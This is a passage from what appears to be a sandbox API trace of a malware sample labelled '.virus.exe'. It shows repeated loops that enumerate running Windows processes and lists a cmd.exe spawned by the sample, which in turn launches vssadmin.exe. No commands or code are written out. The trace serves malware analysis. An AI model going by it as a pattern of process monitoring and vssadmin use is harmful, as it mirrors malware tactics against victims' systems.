szExeFile="csrss.exe")) returned 1 [0263.012] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.013] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.013] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.014] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.014] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.014] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.015] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.015] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.015] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.016] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.016] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.016] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.017] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.017] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.018] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.018] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.018] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.019] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0263.019] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0263.019] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0263.020] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0263.020] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0263.020] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0263.021] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.021] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.021] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0263.022] CloseHandle (hObject=0xc8) returned 1 [0263.022] Sleep (dwMilliseconds=0x1f4) [0263.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc4 [0263.565] Process32FirstW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.566] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.566] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.566] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.567] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.567] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.568] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.568] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.569] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.569] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.569] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.570] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.570] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.571] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.572] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.572] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.573] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.573] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.574] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.574] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.575] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.575] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.576] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.576] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0263.577] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0263.577] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0263.577] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0263.578] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0263.578] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0263.579] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.579] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.580] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0263.580] CloseHandle (hObject=0xc4) returned 1 [0263.580] Sleep (dwMilliseconds=0x1f4) [0264.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc4 [0264.125] Process32FirstW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.126] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.126] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.127] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.127] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.127] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.128] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.128] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.129] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.129] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.129] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.130] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.130] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.131] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.131] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.132] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.132] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.133] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.133] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.134] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.134] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.135] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.135] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.135] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, 